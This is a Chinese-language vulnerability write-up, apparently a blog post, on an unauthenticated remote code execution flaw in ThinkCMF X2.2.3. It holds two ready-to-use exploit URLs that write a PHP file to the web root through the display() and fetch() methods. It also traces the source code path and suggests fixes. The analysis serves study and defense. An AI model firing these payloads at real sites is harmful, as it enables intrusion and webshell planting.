ThinkCMF 是一款基于 PHP+MYSQL 开发的中文内容管理框架,底层采用 ThinkPHP3.2.3 构建。
远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。
影响版本
ThinkCMF X2.2.3 下载地址:https://pan.baidu.com/s/1bRXwdg
按照引导安装即可,该框架调试模式默认开启。
display()
,实现任意文件包含。display()
写 shell。http://cmf.com/index.php/index/display/?templateFile=README.md&content=%3C?php%20file_put_contents(%27i.php%27,%27%3C?php%20phpinfo();%20?>%27);
在根目录写入成功。
fetch()
直接写 PHP 文件。http://cmf.com/index.php/index/fetch/?content=%3C?php%20file_put_contents(%27i.php%27,%27%3C?php%20phpinfo();%20?%3E%27);
在根目录写入成功。
目录结构
|--admin 管理后台URL重定向目录,你可以将文件夹名改为任何你喜欢的
|--themes 后台模板文件目录
|--application 应用目录
|--Admin 后台管理应用
|--Api 公共接口
|--Asset 资源管理应用
|--Comment 评论应用
|--Common 应用公共模块
|--Portal 门户应用
|--Controller 必须目录,存放应用的操作模块如:IndexController.class.php
|--Conf 可选,应用配置文件存放目录,如应用无配置文件则不需要
|--Common 可选,应用函数库,如无则不需要
|--Lang 多语言包(可选)
|--Menu 后台菜单(可选)
|--Model 模型(可选)
|--nav.php 前台导航文件(可选)
|--data 各类数据存放目录,包括缓存数据
|--simplewind 核心包,无特殊情况请勿改动
|--public 静态文件存放包,包含bootstrap资源
|--themes 前台模板文件目录
先回顾一下如何正常访问一个控制器,比如 Portal 下 IndexController.class.php 中的 index 方法。
class IndexController extends HomebaseController {
public function index($name) {
echo "Hello, $name~<br>" . "This is index of IndexController.";
}
}
按照 ThinkPHP 提供的方法,可以是 index.php/portal/index/index/name/wywwzjj
。(portal 是默认模块)
一般来说,ThinkPHP 的控制器是一个类,而操作则是控制器类的一个公共方法。
也就是说,我们可以使用这种方式来调用任意的 public 方法。
注意到 IndexController 类继承了 HomebaseController,这有一系列继承。
class IndexController extends HomebaseController {
class HomebaseController extends AppframeController {
class AppframeController extends Controller {
abstract class Controller {
当扩展一个类,子类就会继承父类所有公有的和受保护的方法。除非子类覆盖了父类的方法,被继承的方法都会保留其原有功能。
所以 IndexController 类有了父类的所有方法,这里列举一下所有 public 方法,说不定可以组合利用。
// abstract class Controller
public function __construct() // 架构函数,取得模板对象实例
public function __destruct()
public function __get($name)
public function __set($name, $value)
public function get($name = '') // 取得模板显示变量的值
public function __isset($name) // 检测模板变量的值
public function __call($method, $args) // 没戏,写死了,没有实现动态调用
// class AppframeController
public function _empty() // 爆了个页面不存在的错
public function theme($theme) // 模板主题设置
// class HomebaseController
public function __construct() // 覆盖掉父类的
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') // 加载模板和页面输出 可以返回输出内容
public function parseTemplate($template = '') // 自动定位模板文件
public function fetch($templateFile = '', $content = '', $prefix = '') // 获取输出页面内容
目前来看,能造成敏感操作只有 display()
和 fetch()
了,继续跟进。
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
parent::display($this->parseTemplate($templateFile), $charset, $contentType, $content, $prefix);
}
parseTemplate()
前面一大段没有对 template
进行处理,然后是文件就直接返回,这里不用关心了。
// HomebaseController.class.php line 170
if (is_file($template)) {
return $template;
}
继续
/**
* 模板显示 调用内置的模板引擎显示方法,
* @access protected
* @param string $templateFile 指定要调用的模板文件
* 默认为空 由系统自动定位模板文件
* @param string $charset 输出编码
* @param string $contentType 输出类型
* @param string $content 输出内容
* @param string $prefix 模板缓存前缀
* @return void
*/
protected function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
$this->view->display($templateFile, $charset, $contentType, $content, $prefix);
}
到 $this->view->display()
/**
* 加载模板和页面输出 可以返回输出内容
* @access public
* @param string $templateFile 模板文件名
* @param string $charset 模板输出字符集
* @param string $contentType 输出类型
* @param string $content 模板输出内容
* @param string $prefix 模板缓存前缀
* @return mixed
*/
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin', $templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile, $content, $prefix);
// 输出模板内容
$this->render($content, $charset, $contentType);
// 视图结束标签
Hook::listen('view_end');
}
继续看 fetch()
的实现。
if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板,默认为 Thinkphp
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content) ? include $templateFile : eval('?>' . $_content);
} else {
// 视图解析标签
$params = array('var' => $this->tVar, 'file' => $templateFile, 'content' => $content, 'prefix' => $prefix);
Hook::listen('view_parse', $params);
}
在这完成的文件读取。
然后编译模板。
// 编译模板内容
$tmplContent = $this->compiler($tmplContent);
Storage::put($tmplCacheFile, trim($tmplContent), 'tpl');
编译的过程中还稍微做了下安全处理,这里能绕吗?能!
// 添加安全代码
$tmplContent = '<?php if (!defined(\'THINK_PATH\')) exit();?>' . $tmplContent;
// 优化生成的php代码
$tmplContent = str_replace('?><?php', '', $tmplContent); // 这一句反而帮了倒忙
再写入临时文件,其中文件名是 $templateFile 的 md5 哈希值。
最终 include 这个模板。
文件包含到这里就结束了,相比 fetch,他多了个 render 的方法来进行输出,所以有回显。
继续看如何写 shell,str_replace 是怎么帮的倒忙。
作者原意是在模板前面加入退出语句,使得必须从单入口进入,但有了 include 之后,这个也不用管啦。
结合这个替换,模板内容中的 PHP 语句可以直接拼接上去,比如复现中给出的 payload 产生的效果:
<?php if (!defined('THINK_PATH')) exit(); file_put_contents('i.php','<?php phpinfo(); ?>');
有了上面的铺垫,fetch 这里分析起来就更简单了,而且不再需要传 templateFile 参数。
public function fetch($templateFile = '', $content = '', $prefix = '') {
$templateFile = empty($content) ? $this->parseTemplate($templateFile) : '';
return parent::fetch($templateFile, $content, $prefix);
}
最终处理的方法是一样的,不再赘述。
Comment 模块和 Api 模块都能调用到 fetch,所以也是触发点。
存在 SSTI 漏洞的 CMS 合集:https://xz.aliyun.com/t/5568
如果参数可控且不转义 <>
,可以利用的还有$this->show()
,这三个方法在 TP3 上是通用的。
看了一下其他人的分析文章,发现有些被带偏了,真的需要模板标签吗?display 真的不能写 shell 吗?
话说回来,如果 <?
这种标签被过滤掉了,确实可以通过模板标签 <php></php>
解析来绕一下。
如何防御?最简单的就是将这些本不该 public 的方法“私有化”,最好的还是将传入参数尖括号编码。
不过,即使不能直接访问了,结合一些反序列化链这些方法或许还能利用。
https://mochazz.github.io/2019/07/25/ThinkCMFX%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%90%88%E9%9B%86